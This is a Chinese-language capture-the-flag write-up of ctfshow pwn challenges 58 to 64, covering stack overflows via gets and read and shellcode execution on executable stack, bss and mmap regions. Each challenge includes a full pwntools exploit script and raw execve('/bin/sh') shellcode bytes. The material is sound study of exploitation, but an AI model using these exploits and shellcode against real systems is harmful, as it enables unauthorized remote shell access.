ctfshow58 1 2 3 4 5 6 7 8 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位程序,NX保护没开,栈可以执行
ida:main函数调用了ctfshow函数
1 2 3 4 5 add esp, 10h sub esp, 0Ch lea eax, [ebp+s] push eax ; s call ctfshow
ctfshow函数
1 2 3 4 5 int __cdecl ctfshow (char *s) { gets(s); return puts (s); }
存在gets函数栈溢出,并且gets函数写入的地址 [ebp+s] 在后面会被调用,且栈可以执行,所以我们直接写入shellcode就可以
1 2 3 4 call _gets add esp, 10h sub esp, 0Ch push [ebp+s]
1 2 3 add esp, 10h lea eax, [ebp+s] call eax
exp:
1 2 3 4 5 6 7 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28158 ) shellcode = asm(shellcraft.sh()) payload = shellcode io.sendline(payload) io.interactive()
ctfshow59 这道题与上一道一样只不过是64位的,注意生成shellcode的时候需要注明架构为64位
1 2 3 4 5 6 7 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28306 ) shellcode = asm(shellcraft.sh()) payload = shellcode io.sendline(payload) io.interactive()
ctfshow60 1 2 3 4 5 6 7 8 9 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
32位,NX保护没有开启,栈可以执行
ida:gets函数存在栈溢出,使用strncpy函数将对应的字符串复制到 buf2 处
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char s[100 ]; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 1 , 0 ); puts ("CTFshow-pwn can u pwn me here!!" ); gets(s); strncpy (buf2, s, 100u ); printf ("See you ~" ); return 0 ; }
我们看一下buf2所在的位置
然后看看bss段是否可执行
我们看到是不可执行的,但是去看了一下师傅们的wp发现是可执行的,应该是版本的问题
思路: 我们将shellcode写入,然后填充垃圾数据覆盖返回地址为buf2,就可以了,因为strncpy函数会将对应的字符串复制到 buf2 处,所以shellcode也会被复制到buf2
偏移为:112
ida是有问题的
exp:
1 2 3 4 5 6 7 8 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28249 ) buf2 = 0x0804A080 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(112 ,b'a' )+p32(buf2) io.sendline(payload) io.interactive()
ctfshow61 1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No
64位,NX保护关闭,栈可以执行,开启PIE保护地址随机化
ida:我们发现 printf函数将v5的地址打印出来了,我们可以将v5的地址接受保存下来,并将shellcode写入v5,再将返回地址覆盖为v5的地址就可以,但是v5到ret_addr的长度只有16字节,而shellcode要32字节,不会了,看一下师傅们的wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall main (int argc, const char **argv, const char **envp) { FILE *v3; __int64 v5[2 ]; v5[0 ] = 0LL ; v5[1 ] = 0LL ; v3 = _bss_start; setvbuf(_bss_start, 0LL , 1 , 0LL ); logo(v3, 0LL ); puts ("Welcome to CTFshow!" ); printf ("What's this : [%p] ?\n" , v5); puts ("Maybe it's useful ! But how to use it?" ); gets(v5); return 0 ; }
原来不只是长度不够,还有leave的问题
leave的作用相当于MOV SP,BP;POP BP。 因为leave指令会释放栈空间,因此我们不能使用v5后面的24字节
而且v5后的8个字节也不能存放(这里需要存放返回地址),所以我们只能将shellcode放在v5后的32字节的地方,并将返回地址改为v5后面32字节的地方
如何接受到v5的正确地址:
我们可以看到v5的地址实在[]里
1 2 3 4 5 io.recvuntil(b'[' ) v5 = io.recvuntil(b']' , drop=True ) v5 = int (v5, 16 )
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28114 ) shellcode = asm(shellcraft.sh()) io.recvuntil(b'[' ) v5 = io.recvuntil(b']' , drop=True ) v5 = int (v5, 16 ) print (hex (v5)) payload = b'a' *(0x10 +0x8 ) payload += p64(v5+32 ) payload += shellcode io.sendline(payload) io.interactive()
ctfshow62 1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No
64位,NX保护关闭,栈可以执行,开启PIE保护地址随机化
ida:和上一题一样,只不过read为0x38字节(56),栈空间24,返回地址8不可用,所以最大写入的是56-24-8=24,而自动生成的shellcode是0x30,所以不够了,看了一下师傅们的wp,需要找更短的shellcode
1 shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" #22bytes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall main (int argc, const char **argv, const char **envp) { FILE *v3; __int64 buf[2 ]; buf[0 ] = 0LL ; buf[1 ] = 0LL ; v3 = _bss_start; setvbuf(_bss_start, 0LL , 1 , 0LL ); logo(v3, 0LL ); puts ("Welcome to CTFshow!" ); printf ("What's this : [%p] ?\n" , buf); puts ("Maybe it's useful ! But how to use it?" ); read(0 , buf, 0x38u LL); return 0 ; }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28286 ) shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' io.recvuntil(b'[' ) v5 = io.recvuntil(b']' , drop=True ) v5 = int (v5, 16 ) print (hex (v5))payload = b'a' *(0x10 +0x8 ) payload += p64(v5+32 ) payload += shellcode io.sendline(payload) io.interactive()
ctfshow63 ida:和上一题一样,只不过可读入的更少了,只有0x37(55),55-24-8=23,上一题用的shellcode为22字节,还可以用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall main(int argc, const char **argv, const char **envp) { FILE *v3; // rdi __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF buf[0] = 0LL; buf[1] = 0LL; v3 = _bss_start; setvbuf(_bss_start, 0LL, 1, 0LL); logo(v3, 0LL); puts("Welcome to CTFshow!"); printf("What's this : [%p] ?\n", buf); puts("Maybe it's useful ! But how to use it?"); read(0, buf, 0x37uLL); return 0; }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28224 ) shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' io.recvuntil(b'[' ) v5 = io.recvuntil(b']' , drop=True ) v5 = int (v5, 16 ) print (hex (v5))payload = b'a' *(0x10 +0x8 ) payload += p64(v5+32 ) payload += shellcode io.sendline(payload) io.interactive()
ctfshow64 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位,NX保护开启,栈不可执行
ida:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl main (int argc, const char **argv, const char **envp) { void *buf; buf = mmap(0 , 0x400u , 7 , 34 , 0 , 0 ); alarm(0xAu ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(_bss_start, 0 , 2 , 0 ); puts ("Some different!" ); if ( read(0 , buf, 0x400u ) < 0 ) { puts ("Illegal entry!" ); exit (1 ); } ((void (*)(void ))buf)(); return 0 ;
首先 buf = mmap(0, 0x400u, 7, 34, 0, 0)没看懂,搜了一下
1 2 3 #include <sys/mman.h> void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset) ;
addr
length
prot
flags
fd
offset
指定映射区域的起始地址(则由操作系统选择合适的地址)
映射区域的大小
决定映射区域的保护属性(设置为7可读可写可执行)
决定映射的类型和行为
文件描述符,用于指定要映射的文件
文件的偏移量,指定从文件的哪个位置开始映射
这个题将buf 将被设置为映射区域的起始地址,映射区域的大小为 0x400 字节,保护标志为7(映射的内存区域可以读、写和执行)
大小0x400,足够写入shellcode,并且可以执行
在看后面是一个if,是判断是否读取成功,如果 read 返回值小于 0,说明读取失败,并且退出程序
最后((void (*)(void))buf)()
将 buf 强制转换为一个函数指针类型,并且调用buf,我们将shellcode写入buf,就会被调用
exp
1 2 3 4 5 6 7 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28112 ) shellcode = asm(shellcraft.sh()) payload = shellcode io.sendline(payload) io.interactive()